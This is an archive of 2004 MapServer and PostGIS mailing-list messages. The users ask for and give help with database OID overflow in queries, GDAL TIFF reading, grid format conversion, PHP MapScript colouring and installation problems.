> smaller tables per day. So I commented out fix_geometry_columns(); > from the addgeometrycolumn function and did it once I had finished > creating all my new tables. So am I paying the price? Has this > corrupted this database as well as my other? > > If all this is OID stuff, is there any way to refresh all OID's? > > Restarted . . . yes. VACUUM and ANALYZE'd . . . yes. > > Thanks, > > Charlton > > > > _______________________________________________ > postgis-users mailing list > postgis-users at postgis.refractions.net > http://postgis.refractions.net/mailman/listinfo/postgis-users > > > > > > _______________________________________________ > postgis-users mailing list > postgis-users at postgis.refractions.net > http://postgis.refractions.net/mailman/listinfo/postgis-users > > > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > Paul Ramsey Refractions Research Email: pramsey at refractions.net Phone: (250) 885-0632 From malonso at meso.com Sun May 2 12:06:08 2004 From: malonso at meso.com (malonso at meso.com) Date: Sun, 2 May 2004 15:06:08 -0400 (EDT) Subject: [Mapserver-users] Re: demo: legend, scalebar Message-ID: <55100.66.193.31.36.1083524768.squirrel@www.meso.com> Hello, Has anyone come across or developed any utilities that can incorporate TIGER line files? I also included a previous question (below) that I hadn't gotten any response to, if you can help with either that would be greatly appreciated. Thanks folks. Matt > Howdy all, > > I am trying to run the demo, and I can get most of it to work, but I > can't seem to get the legend or the 1st scalebar, the main map and the > 2nd bar in the bottom right corner works fine. I attached the modified > index.html and itasca.map files. Ironically I had them all working fine > at first, but I had set the various "image_" things wrong so I could not > see them. I made a couple changes and looked in the dir where the > images should've been and they were all there. All the previous legends > and scalebars where there from the previous runs, but I was no longer > able to generate the 1st scalebar and the legends. If anyone needs > anymore info please let me know. Thanks in advance for your help. > > Matt Matt Alonso Meso, Inc. 185 Jordan Road Troy, NY 12180 phone: 267-446-8657 work: 518-283-5169 From cpurvis at asg.sc.edu Sun May 2 20:05:21 2004 From: cpurvis at asg.sc.edu (Charlton Purvis) Date: Sun, 2 May 2004 23:05:21 -0400 Subject: [Mapserver-users] RE: [postgis-users] RE: gone are my queryresults Message-ID: Let's hear it for the Canadians!!! FabulOUS, Paul. You're an absolute life savior / saver / whatever! Talk about premature graying. That was an unpleasant couple of days, but it was solved by binding the UNIQUE to a home-grown column, and now everything is golden. Whew! Infinte thanks. So . . . are you interested in inheriting Alaska? Maybe I can talk Dubya into a little trade since I owe you big time. How about we start off w/ a case or two (thousand) of beer? Charlton -----Original Message----- From: Paul Ramsey [mailto:pramsey at refractions.net] Sent: Sun 5/2/2004 12:45 AM To: Administrator at netnation.refractions.net Cc: mapserver-users at lists.gis.umn.edu; PostGIS Users Discussion Subject: Re: [Mapserver-users] RE: [postgis-users] RE: gone are my queryresults Got your back, Charlton :) The problem is that your PostgreSQL oids are larger than the mapserver row number variable can store. The oid is larger than a signed 32 bit integer can store. So, solution. Do not use oid as your "unique" field. Make use of the "using unique" clause in your data statement, and reference a different unique field in your table. Make sure that field is indexed. If you have loaded your data with shp2pgsql, you probably have a 'gid' field you can use that is a primary key (and therefore already indexed). Yours, Paul On Saturday, May 1, 2004, at 08:42 PM, Charlton Purvis wrote: > OK, Greg, I think we might be onto something. But it still looks very > grim. > > I turned on all the logging, and I notice that MS sends it this query: > > LOCATION: pg_parse_query, postgres.c:464 > LOG: 00000: statement: DECLARE mycursor BINARY CURSOR FOR SELECT > temperature_celcius::text,asbinary(force_collection(force_2d(the_geom)) > ,'NDR'),OID::text from sst_map WHERE > (date_trunc('hour',report_time_stamp + interval '1 hour' * -04) = > date_trunc('hour',timestamp without time zone '2004-05-01 22:00:00') > and (label_z <= 5 or label_z is null)) and (the_geom && setSRID( > 'BOX3D(-83.0454044480208 24.3838940085927,-82.6541628156105 > 24.775135641003)'::BOX3D,find_srid('','sst_map','the_geom') )) > > OK. That's good. Because if I stick the SELECT part at a psql > prompt, I get back the row I want. And I also notice that its OID is > 2185295089. > > But if I look at the last sql statement in the log, it's another > cursor, but the OID is wrong. > > LOCATION: pg_parse_query, postgres.c:464 > LOG: 00000: statement: DECLARE mycursor BINARY CURSOR FOR SELECT > station_id::text,time_stamp::text,z::text,label_z::text,temperature_cel > cius::text,temperature_fahrenheit::text,value_temperature_celcius::text > ,value_temperature_fahrenheit::text,lon::text,lat::text,title::text,ins > titution::text,institution_url::text,institution_dods_url::text,source: > :text,refs::text,contact::text,report_time_stamp::text,asbinary(force_c > ollection(force_2d(the_geom)),'NDR') from sst_map WHERE OID = > 2147483647 > > So had they kept the OID, I would be in good shape. > > This isn't looking good!!! > > Charlton > > -----Original Message----- > From: Gregory S. Williamson [mailto:gsw at globexplorer.com] > Sent: Sat 5/1/2004 11:11 PM > To: PostGIS Users Discussion; mapserver-users at lists.gis.umn.edu > Cc: > Subject: RE: [postgis-users] RE: gone are my query results > > > > > If you turn on the logging of statements in postgres and run the > mapserver side of things, does the query show up in the logs ? > > If the query does not appear then I'd suspect networking or > permissions or some darn thing keeping postgres from ever seeing the > query. > > It it does show up then maybe the problem is in the return trip to MS > or in the processing of that data (perhaps your OID suspicions), since > it sounds as if the query itself can be processed. > > Any changes to *anything* on either server and anything in between ? > (not likely but always worth ruling out) > > Or, shot in the dark, something messing with TOLERANCE so no points > are selected in a query ? > > Very puzzling, I agree. > > Greg W. > > -----Original Message----- > From: Charlton Purvis on behalf of Charlton Purvis > Sent: Sat 5/1/2004 7:59 PM > To: PostGIS Users Discussion; mapserver-users at lists.gis.umn.edu > Cc: > Subject: RE: [postgis-users] RE: gone are my query results > Thanks for your reply, Gregory. I'm forwarding this onto the MS > folks to see if they have any pearls of wisdom. > > Everything looks great in the db. If I render a map, I see all the > points correctly. If I take that query and plug it in to the command > line, I see the rows. But the moment I try to do either a cgi query, > WFS query, or a PHP query, I get nothing back. No error message. > > I'm actually getting panicky which isn't any fun. Has anyone seen > anything like this before? > > Queries rely on OID's and SRID's. Is there any way they could have > gotten mucked up? Can I somehow refresh them? > > Thanks, > > Charlton > > -----Original Message----- > From: Gregory S. Williamson [mailto:gsw at globexplorer.com] > Sent: Sat 5/1/2004 6:20 PM > To: PostGIS Users Discussion > Cc: > Subject: [postgis-users] RE: gone are my query results > > > > > If you do the query directly to postgres (via psql or pgAdmin or > whatever) does the query return results ? > > If so, then my guess is that this is not a database error, at least > not directly. If ot then yes, it would seem that somehow the postGIS > itself has gottent snarfled. > > The change you made relating the geometryColumns doesn't sound to me > like it should effect queries unless somehow the SRID info for the > tables in your mapserver queries got clobbered; should be easy enough > to confirm that this data is ok. > > I am not familiar enough with PHP and mapserver to have a clue; does > the mapserver log itself show anything ? > > Not much help, I'm afraid, but perhaps posting this to the MMS list > would add some more knowledge to the issue at hand ? > > Greg Williamson > DBA > GlobeXplorer LLC > > -----Original Message----- > From: Charlton Purvis on behalf of Charlton Purvis > Sent: Sat 5/1/2004 2:46 PM > To: PostGIS Users Discussion > Cc: > Subject: gone are my query results > Hi, folks: > > Bizarre and unnerving problem here. > > Up until last night, mapping was fine and point-query was fine. Now > it appears that the mapping is still great, but the point query and > WFS are toast. I don't get any errors in pgsql.log or php.log. I get > . . . nothing. Even going mapserv cgi query returns empty for a query > I know should work. > > Maybe I'm being taught a lesson. In a separate database, I noticed > that addgeometrycolumn was taking too long -- I create about 400 > smaller tables per day. So I commented out fix_geometry_columns(); > from the addgeometrycolumn function and did it once I had finished > creating all my new tables. So am I paying the price? Has this > corrupted this database as well as my other? > > If all this is OID stuff, is there any way to refresh all OID's? > > Restarted . . . yes. VACUUM and ANALYZE'd . . . yes. > > Thanks, > > Charlton > > > > _______________________________________________ > postgis-users mailing list > postgis-users at postgis.refractions.net > http://postgis.refractions.net/mailman/listinfo/postgis-users > > > > > > _______________________________________________ > postgis-users mailing list > postgis-users at postgis.refractions.net > http://postgis.refractions.net/mailman/listinfo/postgis-users > > > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > Paul Ramsey Refractions Research Email: pramsey at refractions.net Phone: (250) 885-0632 _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users _______________________________________________ postgis-users mailing list postgis-users at postgis.refractions.net http://postgis.refractions.net/mailman/listinfo/postgis-users From mapserver at resellmo.com Sun May 2 22:06:05 2004 From: mapserver at resellmo.com (K Resellmo) Date: Mon, 03 May 2004 00:06:05 -0500 Subject: [Mapserver-users] Lines between points and polygon colors Message-ID: <6.0.1.1.2.20040503000112.027b2340@resellmo.com> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Hi, I have two questions about MapServer features: 1. Is it possible to use the MapServer symbol capabilities to draw lines between points? I have several sets of points that I would like to display using both a graphic to mark the point, and a line to connect the points. 2. Can I display polygons in different colors? (like a political map with different colors for different countries) Thanks for your time! Kris -----BEGIN PGP SIGNATURE----- Version: PGP 8.0.2 iQA/AwUBQJXTR54XWyzLnsoNEQKYhwCg1sVN1do8RYMOwDH+TefnJVaphRgAoJ7M K2gRAzDWoG8j2D127VlixRxx =VJjn -----END PGP SIGNATURE----- From samuzzal at linux.net Mon May 3 00:53:16 2004 From: samuzzal at linux.net (Sam Choudry) Date: Mon, 3 May 2004 00:53:16 -0700 (PDT) Subject: [Mapserver-users] Problem coloring layer Message-ID: <20040503075316.C18AD7262@sitemail.everyone.net> Hello, Here is the same old problem still not solved. I want to change the color of my area layer "nal-blk" according to user input. For that I am using the code: if($r!='' && $g!='' && $b!='') { $layer = $map->getlayerbyname("nal-blks"); $class = $layer->getclass(0); $layer->open($map->shapepath); $index = findindex($r,$g,$b); $class->set('color',index); } I am using a function I received from one of the list members, function findindex($r,$g,$b) { GLOBAL $map; $r1=(int) $r; $g1=(int) $g; $b1=(int) $b; for($i=-10;$i<0;$i++) { $col=$map->getColorByIndex($i); $tr=$col->red; $tg=$col->green; $tb=$col->blue; if(($r1 == $tr) && ($g1 == $tg) && ($b1 == $tb)) { $in=$i; break; } } $in=$in+1; return($in); } The Error message are : Warning: Wrong parameter count for open() in c:\inetpub\wwwroot\php\nalbari.php on line 21 Fatal error: Property 'color' does not exist in this object. in c:\inetpub\wwwroot\php\nalbari.php on line 23 The Map File snippet is also provided: LAYER #DISTRICT BLOCKS# NAME "nal-blks" DATA nal-blks STATUS ON TYPE POLYGON CLASS NAME '0' COLOR 219 250 253 OUTLINECOLOR 154 181 250 END END What can be the possile solution to this? Regards, Samuzzal _____________________________________________________________ Linux.Net -->Open Source to everyone Powered by Linare Corporation http://www.linare.com/ From mapserver at meteologica.es Mon May 3 02:36:39 2004 From: mapserver at meteologica.es (Paco Regodon) Date: Mon, 3 May 2004 11:36:39 +0200 Subject: [Mapserver-users] How to force GDAL to read tiffs? Message-ID: <200405031136.39601.mapserver@meteologica.es> Hello, i am using mapserver-4.0-1mdk, the rpm package from Mandrake. It is compiled with tiff support: $ /var/www/cgi-bin/mapserv -v MapServer version 4.0 OUTPUT=PNG OUTPUT=JPEG OUTPUT=WBMP SUPPORTS=PROJ SUPPORTS=FREETYPE SUPPORTS=WMS_SERVER SUPPORTS=WMS_CLIENT SUPPORTS=WFS_CLIENT INPUT=TIFF INPUT=EPPL7 INPUT=JPEG INPUT=OGR INPUT=GDAL INPUT=SHAPEFILE Is there any way i can force using GDAL to read tiff images? I can't compile my own version. Is there any mapfile directive similar to OUTPUTFORMAT to force using GDAL instead of builtin support? From publiek at home.nl Mon May 3 05:05:29 2004 From: publiek at home.nl (publiek at home.nl) Date: Mon, 3 May 2004 14:05:29 +0200 Subject: [Mapserver-users] php mapscript - pasteimage Message-ID: <200405031205.i43C5jFS017932@lists.gis.umn.edu> Hello, I want to show several layers on top of each other. How do i combine the images? I looked at pasteimage, but the examples provided with mapserver 4 dont work. (Would be nice if someone updated these) Anyone willing to provide me a simple example? Thanks a heap. Marcel From jerl.simpson at rkiq.com Mon May 3 06:00:56 2004 From: jerl.simpson at rkiq.com (Jerl Simpson) Date: Mon, 03 May 2004 08:00:56 -0500 Subject: [Mapserver-users] Re: demo: legend, scalebar In-Reply-To: <55100.66.193.31.36.1083524768.squirrel@www.meso.com> References: <55100.66.193.31.36.1083524768.squirrel@www.meso.com> Message-ID: <40964288.30803@rkiq.com> Matt, You can find an quick example of how to read the TIGER/Line data here: http://mapserver.gis.umn.edu/doc40/ogr-howto.html#binary scroll down to example #3. I have done this, and it does work. However I would recommend converting the ASCII files to ESRI Shapefiles. The ESRI files will allow maps to be displayed much faster. If you have a small amount of data, it might be alright. As you add data however, it will slow down as ASCII is not very effecient for searching. Jerl malonso at meso.com wrote: > Hello, > > Has anyone come across or developed any utilities that can incorporate > TIGER line files? I also included a previous question (below) that I > hadn't gotten any response to, if you can help with either that would be > greatly appreciated. Thanks folks. > > Matt > > >>Howdy all, >> >>I am trying to run the demo, and I can get most of it to work, but I >>can't seem to get the legend or the 1st scalebar, the main map and the >>2nd bar in the bottom right corner works fine. I attached the modified >>index.html and itasca.map files. Ironically I had them all working fine >>at first, but I had set the various "image_" things wrong so I could not >>see them. I made a couple changes and looked in the dir where the >>images should've been and they were all there. All the previous legends >>and scalebars where there from the previous runs, but I was no longer >>able to generate the 1st scalebar and the legends. If anyone needs >>anymore info please let me know. Thanks in advance for your help. >> >>Matt > > > > Matt Alonso > Meso, Inc. > 185 Jordan Road > Troy, NY 12180 > phone: 267-446-8657 > work: 518-283-5169 > > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > . > From dmanian at ivesia.com Mon May 3 06:03:07 2004 From: dmanian at ivesia.com (Dharani Babu S) Date: Mon, 3 May 2004 18:33:07 +0530 Subject: [Mapserver-users] fatal error U1073: don't know how to make 'map.h' Message-ID: <007401c4310e$fa81cbd0$8702a8c0@hdsc.com> This is a multi-part message in MIME format. ------=_NextPart_000_0071_01C4313D.13EB4B90 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Hi all I am compiling map server code with -nmake tool . But I am facing = this NMAKE error fatal error U1073: don't know how to make 'map.h' Could any of u advise me on this ?? regards and thanks in advance dharani babu s ------=_NextPart_000_0071_01C4313D.13EB4B90 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
Hi all I am compiling map server code = with -nmake=20 tool . But I am facing this NMAKE error
 
fatal error U1073: don't know how to = make=20 'map.h'
 
Could any of u advise me on this=20 ??
regards and thanks in=20 advance
dharani babu=20 s
------=_NextPart_000_0071_01C4313D.13EB4B90-- From warmerdam at pobox.com Mon May 3 06:09:16 2004 From: warmerdam at pobox.com (Frank Warmerdam) Date: Mon, 03 May 2004 09:09:16 -0400 Subject: [Mapserver-users] How to force GDAL to read tiffs? In-Reply-To: <200405031136.39601.mapserver@meteologica.es> References: <200405031136.39601.mapserver@meteologica.es> Message-ID: <4096447C.4080003@pobox.com> Paco Regodon wrote: > Hello, > > i am using mapserver-4.0-1mdk, the rpm package from Mandrake. It is compiled > with tiff support: > > $ /var/www/cgi-bin/mapserv -v > MapServer version 4.0 OUTPUT=PNG OUTPUT=JPEG OUTPUT=WBMP SUPPORTS=PROJ > SUPPORTS=FREETYPE SUPPORTS=WMS_SERVER SUPPORTS=WMS_CLIENT SUPPORTS=WFS_CLIENT > INPUT=TIFF INPUT=EPPL7 INPUT=JPEG INPUT=OGR INPUT=GDAL INPUT=SHAPEFILE > > > Is there any way i can force using GDAL to read tiff images? I can't compile > my own version. Is there any mapfile directive similar to OUTPUTFORMAT to > force using GDAL instead of builtin support? Paco, There is no proper way to force use of the GDAL TIFF driver for reading if the internal TIFF is available. I kind of thought this had been corrected for 4.0. It certainly is fixed in 4.2 where the built-in TIFF support is only used when GDAL is not available. You could "trick" MapServer into using GDAL by setting a different projection on the raster layer ... say with a false easting or northing that differs by a 10th of a meter or something. Also, forcing 24bit output will trip things over to using GDAL. Best regards, -- ---------------------------------------+-------------------------------------- I set the clouds in motion - turn up | Frank Warmerdam, warmerdam at pobox.com light and sound - activate the windows | http://pobox.com/~warmerdam and watch the world go round - Rush | Geospatial Programmer for Rent From sebastien.dubois at esm2.imt-mrs.fr Mon May 3 06:28:05 2004 From: sebastien.dubois at esm2.imt-mrs.fr (=?iso-8859-1?b?U+liYXN0aWVu?= DUBOIS) Date: Mon, 3 May 2004 15:28:05 +0200 Subject: [Mapserver-users] mapserver on mandrake In-Reply-To: <200405031136.39601.mapserver@meteologica.es> References: <200405031136.39601.mapserver@meteologica.es> Message-ID: <1083590885.409648e54fe76@webmail.esm2.imt-mrs.fr> hello, I have used "urpmi" to install mapserver under Mandrake9.2 So like Paco Regodon i've got the mapserver-4.0-1mdk, the rpm package from Mandrake I install apache by the same way (urpmi apache) then i made > apachectl start is that enough to start apache? mapserv is in /var/www/ bu [root at sx-dubois sbin]# which apachectl /usr/sbin/apachectl so mapserv and apache are not in the same directory !!! I verified carefully that all the requires were installed Requires * webserver * libc.so.6 * libcrypto.so.0.9.7 * libcurl.so.2 * libdl.so.2 * libfreetype.so.6 * libgd.so.2 * libgdal.1.1.so * libjpeg.so.62 * libm.so.6 * libpng.so.3 * libproj.so.0 * libssl.so.0.9.7 * libstdc++.so.5 * libtiff.so.3 * libz.so.1 but when I test on my favourite browser: http://sx-dubois at rd.francetelecom.com/var/www/cgi-bin/mapserv I can red: Warning: Failed opening '../../../fr/navigation/cadres.php' for inclusion (include_path='.:/usr/local/lib/php') in /export/WWW/fr/navigation/bar.php on line 40 Warning: Failed opening '../../../fr/navigation/ftbar.php' for inclusion (include_path='.:/usr/local/lib/php') in /export/WWW/fr/navigation/bar.php on line 41 Warning: Failed opening '../../../fr/navigation/rubriques.php' for inclusion (include_path='.:/usr/local/lib/php') in /export/WWW/fr/navigation/bar.php on line 42 Fatal error: Call to undefined function: rd_head() in /export/WWW/404.html.php on line 27 Have you got a explanation for that? thanks in advance for the time you spend to help me... -- S?bastien DUBOIS Ecole G?n?raliste d'Ing?nieurs de Marseille (ex ESM2) 1024D/A1140BCB Empreinte de la cl? = 1BC8 7E21 4DA7 13D5 1B5F 876F F719 2B7A A114 0BCB disponible sur www.keyserver.net ------------------------------------------------- This mail sent through IMP: http://horde.org/imp/ From jnielsen at aero-graphics.com Mon May 3 06:39:32 2004 From: jnielsen at aero-graphics.com (Jason M. Nielsen) Date: Mon, 3 May 2004 07:39:32 -0600 Subject: [Mapserver-users] arcgrid to ascii(etc) In-Reply-To: <4093F7E4.6000400@pobox.com> References: <1083357821.4092ba7da1ffa@www.agi-lan.com> <4093F7E4.6000400@pobox.com> Message-ID: <1083591572.40964b9440993@www.agi-lan.com> Quoting Frank Warmerdam : > Jason M. Nielsen wrote: > > Anyone know of software that can convert arcgrid .adf files to ascii? > > _______________________________________________ > > Jason, > > GDAL read Arc/Info binary grid files in .adf format and can export a > variety of formats including Arc/Info ASCII Grid format which is ... ASCII. > > eg. > > gdal_translate -of AAIGrid in_cov/w001001.adf out.grd > > > Best regards, I have posted this on the gdal mailing list as well. According to the --formats output and compilation AAIGrid and AIG(adf) are supported. In any case it will not write out arc binary or ascii grids. At least not for me. It explicitly tells me output of that format is not supported: [root at localhost NED11342]# gdalwarp -s_srs epsg:4326 -t_srs epsg:26711 DEM11041/W001001.ADF W001001A.GRD -of AAIGrid Output driver `AAIGrid' not recognised or does not support [root at localhost NED11342]# gdalinfo --formats Supported Formats: VRT: Virtual Raster GTiff: GeoTIFF NITF: National Imagery Transmission Format HFA: Erdas Imagine Images (.img) SAR_CEOS: CEOS SAR Image CEOS: CEOS Image ELAS: ELAS AIG: Arc/Info Binary Grid AAIGrid: Arc/Info ASCII Grid SDTS: SDTS Raster DTED: DTED Elevation Raster PNG: Portable Network Graphics Unless I missed a compile option where I need to tell it I want output formats for these or include libraries I did not I am not seeing how to use gdal for this. Anyone know what I have wrong with regard to the gdal 1.1.9 compilation? The aaigrid and aigrid directories did indeed compile. I dont see any explicit settings in the HOWTO nor the config files. From jnielsen at aero-graphics.com Mon May 3 06:55:10 2004 From: jnielsen at aero-graphics.com (Jason M. Nielsen) Date: Mon, 3 May 2004 07:55:10 -0600 Subject: [Mapserver-users] How to force GDAL to read tiffs? In-Reply-To: <200405031136.39601.mapserver@meteologica.es> References: <200405031136.39601.mapserver@meteologica.es> Message-ID: <1083592510.40964f3eaa4e4@www.agi-lan.com> Quoting Paco Regodon : > > Hello, > > i am using mapserver-4.0-1mdk, the rpm package from Mandrake. It is compiled > > with tiff support: > > $ /var/www/cgi-bin/mapserv -v > MapServer version 4.0 OUTPUT=PNG OUTPUT=JPEG OUTPUT=WBMP SUPPORTS=PROJ > SUPPORTS=FREETYPE SUPPORTS=WMS_SERVER SUPPORTS=WMS_CLIENT SUPPORTS=WFS_CLIENT > > INPUT=TIFF INPUT=EPPL7 INPUT=JPEG INPUT=OGR INPUT=GDAL INPUT=SHAPEFILE > > > Is there any way i can force using GDAL to read tiff images? I can't compile > > my own version. Is there any mapfile directive similar to OUTPUTFORMAT to > force using GDAL instead of builtin support? If I recall there is an option --WITHOUT-TIFF or something similar. There is at least one thread on the mailing list about this. I had the same problem. Basically if you tell mapserver itself no tiff but also tell it use gdal TIFF suport will just be automagically used via gdal. From warmerdam at pobox.com Mon May 3 07:18:04 2004 From: warmerdam at pobox.com (Frank Warmerdam) Date: Mon, 03 May 2004 10:18:04 -0400 Subject: [Mapserver-users] arcgrid to ascii(etc) In-Reply-To: <1083591572.40964b9440993@www.agi-lan.com> References: <1083357821.4092ba7da1ffa@www.agi-lan.com> <4093F7E4.6000400@pobox.com> <1083591572.40964b9440993@www.agi-lan.com> Message-ID: <4096549C.7020309@pobox.com> Jason M. Nielsen wrote: > I have posted this on the gdal mailing list as well. According to the --formats > output and compilation AAIGrid and AIG(adf) are supported. In any case it will > not write out arc binary or ascii grids. At least not for me. It explicitly > tells me output of that format is not supported: > > [root at localhost NED11342]# gdalwarp -s_srs epsg:4326 -t_srs epsg:26711 > DEM11041/W001001.ADF W001001A.GRD -of AAIGrid > Output driver `AAIGrid' not recognised or does not support Jason, I hope the above isn't the complete error message. It should have reported something about AAIGrid does not support Create() method. For gdalwarp you will have to output to a format that supports random writing of raster data (aka has a Create() method - such as GeoTIFF). Then translate to Arc/Info ASCII Grid with gdal_translate. > Anyone know what I have wrong with regard to the gdal 1.1.9 compilation? The > aaigrid and aigrid directories did indeed compile. I dont see any explicit > settings in the HOWTO nor the config files. I would add that 1.1.9 is getting a bit dated. When you have a chance you might want to upgrade to 1.2.0. In any event, this issue doesn't change between the versions. Best regards, -- ---------------------------------------+-------------------------------------- I set the clouds in motion - turn up | Frank Warmerdam, warmerdam at pobox.com light and sound - activate the windows | http://pobox.com/~warmerdam and watch the world go round - Rush | Geospatial Programmer for Rent From mapserver at meteologica.es Mon May 3 08:20:01 2004 From: mapserver at meteologica.es (Paco Regodon) Date: Mon, 3 May 2004 17:20:01 +0200 Subject: [Mapserver-users] How to force GDAL to read tiffs? In-Reply-To: <4096447C.4080003@pobox.com> References: <200405031136.39601.mapserver@meteologica.es> <4096447C.4080003@pobox.com> Message-ID: <200405031720.01781.mapserver@meteologica.es> On Monday 03 May 2004 15:09, Frank Warmerdam wrote: > Paco Regodon wrote: > > > > Is there any way i can force using GDAL to read tiff images? I can't > > compile my own version. Is there any mapfile directive similar to > > OUTPUTFORMAT to force using GDAL instead of builtin support? > > You could "trick" MapServer into using GDAL by setting a different > projection on the raster layer ... say with a false easting or northing > that differs by a 10th of a meter or something. Also, forcing 24bit output > will trip things over to using GDAL. Hello Frank, no luck. :-( I have tryed changing utm "zone=29" on the map and "zone=30" on the layer without success. Also, i changed IMAGETYPE from PNG to PNG24, and i have discovered that transparency information is being lost, as i am getting now an ugly green background. Also there is an speed penalty because of the extra reprojection time. I have tryed renaming ".tif" to ".png", but it didn't work. He. I allways get an Internal Server Error if i try to use tiff raster layers. I am now using tiff2png to batch-convert all my tiffs to PNG, and it works perfectly. Thanks for your help. From mapserver at meteologica.es Mon May 3 08:26:14 2004 From: mapserver at meteologica.es (Paco Regodon) Date: Mon, 3 May 2004 17:26:14 +0200 Subject: [Mapserver-users] mapserver on mandrake In-Reply-To: <1083590885.409648e54fe76@webmail.esm2.imt-mrs.fr> References: <200405031136.39601.mapserver@meteologica.es> <1083590885.409648e54fe76@webmail.esm2.imt-mrs.fr> Message-ID: <200405031726.14083.mapserver@meteologica.es> Have you tried the demo? mapserver-demo-3.5-2mdk you should be able to test it on http://[your_host]/mapserver/itasca/index.html Paco On Monday 03 May 2004 15:28, S?bastien DUBOIS wrote: > hello, > > I have used "urpmi" to install mapserver under Mandrake9.2 > So like Paco Regodon i've got the mapserver-4.0-1mdk, the rpm package from > Mandrake > > I install apache by the same way (urpmi apache) then i made > > > apachectl start > > is that enough to start apache? > > mapserv is in /var/www/ > bu > > [root at sx-dubois sbin]# which apachectl > /usr/sbin/apachectl > > so mapserv and apache are not in the same directory !!! > > I verified carefully that all the requires were installed > Requires > > * webserver > * libc.so.6 > * libcrypto.so.0.9.7 > * libcurl.so.2 > * libdl.so.2 > * libfreetype.so.6 > * libgd.so.2 > * libgdal.1.1.so > * libjpeg.so.62 > * libm.so.6 > * libpng.so.3 > * libproj.so.0 > * libssl.so.0.9.7 > * libstdc++.so.5 > * libtiff.so.3 > * libz.so.1 > > but when I test on my favourite browser: > http://sx-dubois at rd.francetelecom.com/var/www/cgi-bin/mapserv > > I can red: > > Warning: Failed opening '../../../fr/navigation/cadres.php' for inclusion > (include_path='.:/usr/local/lib/php') in /export/WWW/fr/navigation/bar.php > on line 40 > > Warning: Failed opening '../../../fr/navigation/ftbar.php' for inclusion > (include_path='.:/usr/local/lib/php') in /export/WWW/fr/navigation/bar.php > on line 41 > > Warning: Failed opening '../../../fr/navigation/rubriques.php' for > inclusion (include_path='.:/usr/local/lib/php') in > /export/WWW/fr/navigation/bar.php on line 42 > > Fatal error: Call to undefined function: rd_head() in > /export/WWW/404.html.php on line 27 > > > > Have you got a explanation for that? > thanks in advance for the time you spend to help me... From matt at phyreworks.com Mon May 3 09:22:56 2004 From: matt at phyreworks.com (Matt Hatcher) Date: Mon, 3 May 2004 17:22:56 +0100 Subject: [Mapserver-users] Seg fault with labels In-Reply-To: <20040502170003.11314.16323.Mailman@lists.gis.umn.edu> Message-ID: Hi all, I'm running Mapserver 4.0.2 on Mandrake Linux 9.2. It was built with the help of the redhat 9 guide in the wiki. Thanks to the guy who put that together! I'm having problems with labelling layers. Mapserver works beautifully providing I don't try to use labels. If I do (either using bitmap or truetype), I get Internal Server Error. Running the query at the command line using the QUERY_STRING debug, I get a seg fault. This suggests to me a problem with my freetype or gd libraries - I'm using: freetype-1.3.1-20mdk.rpm, libfreetype6-2.1.4-6mdk and gd-2.0.15 My mapserv -v is: MapServer version 4.0.2 OUTPUT=PNG OUTPUT=JPEG OUTPUT=WBMP OUTPUT=PDF SUPPORTS=PROJ SUPPORTS=FREETYPE SUPPORTS=WMS_SERVER SUPPORTS=WMS_CLIENT SUPPORTS=WFS_SERVER SUPPORTS=WFS_CLIENT INPUT=JPEG INPUT=POSTGIS INPUT=OGR INPUT=GDAL INPUT=SHAPEFILE I've tried to run ./configure without freetype, but it still compiles the libraries in and I get the same result. Anybody got any bright ideas?! Thanks in advance Matt. -----Original Message----- From: mapserver-users-admin at lists.gis.umn.edu [mailto:mapserver-users-admin at lists.gis.umn.edu]On Behalf Of mapserver-users-request at lists.gis.umn.edu Sent: 02 May 2004 18:00 To: mapserver-users at lists.gis.umn.edu Subject: Mapserver-users digest, Vol 1 #509 - 9 msgs Send Mapserver-users mailing list submissions to mapserver-users at lists.gis.umn.edu To subscribe or unsubscribe via the World Wide Web, visit http://lists.gis.umn.edu/mailman/listinfo/mapserver-users or, via email, send a message with subject or body 'help' to mapserver-users-request at lists.gis.umn.edu You can reach the person managing the list at mapserver-users-admin at lists.gis.umn.edu When replying, please edit your Subject line so it is more specific than "Re: Contents of Mapserver-users digest..." Today's Topics: 1. RE: world files and tile indexing (Ed McNierney) 2. Re: Shapelib, GPC, PHP, and polygon clipping (Frank Warmerdam) 3. Re: arcgrid to ascii(etc) (Frank Warmerdam) 4. Looking for reference links and online MapServer/MapScript Forum (Mike Juvrud) 5. Re: Looking for reference links and online MapServer/MapScript Forum (Eduardo Patto Kanegae) 6. RE: [postgis-users] RE: gone are my query results (Charlton Purvis) 7. RE: [postgis-users] RE: gone are my query results (Gregory S. Williamson) 8. RE: [postgis-users] RE: gone are my query results (Charlton Purvis) 9. Re: RE: [postgis-users] RE: gone are my query results (Paul Ramsey) --__--__-- Message: 1 Subject: RE: [Mapserver-users] world files and tile indexing Date: Sat, 1 May 2004 13:39:07 -0400 From: "Ed McNierney" To: "Antonio Cosenza" , This is a multi-part message in MIME format. ------_=_NextPart_001_01C42FA3.3437712E Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable Antonio - =20 Thanks - that is very helpful! =20 Things seem fine, but you need to create georeference data for the images in a way that can be used - the JPG files could have world files (.JGW files) or the TIF files could have world files (.TFW) but you need them. You need to create these world files. You should try to read the coordinates from the shapefile (use shpdump) and you need to calculate the values for the world files. With only three files you can relatively easily do this by hand. =20 The shapefile polygons should give you the upper-left corner coordinate of each tile, and you should be able to calculate the size of each pixel in X and Y units from the shapefile polygons and information about how many pixels wide and high each image is (use tiffinfo). =20 - Ed Ed McNierney President and Chief Mapmaker TopoZone.com / Maps a la carte, Inc. 73 Princeton Street, Suite 305 North Chelmsford, MA 01863 ed at topozone.com (978) 251-4242=20 _____ =20 From: Antonio Cosenza [mailto:antonio.cosenza at polito.it]=20 Sent: Saturday, May 01, 2004 6:18 AM To: mapserver-users at lists.gis.umn.edu Subject: Re: [Mapserver-users] world files and tile indexing It would help if you could explain what you're trying to do! =20 ok, 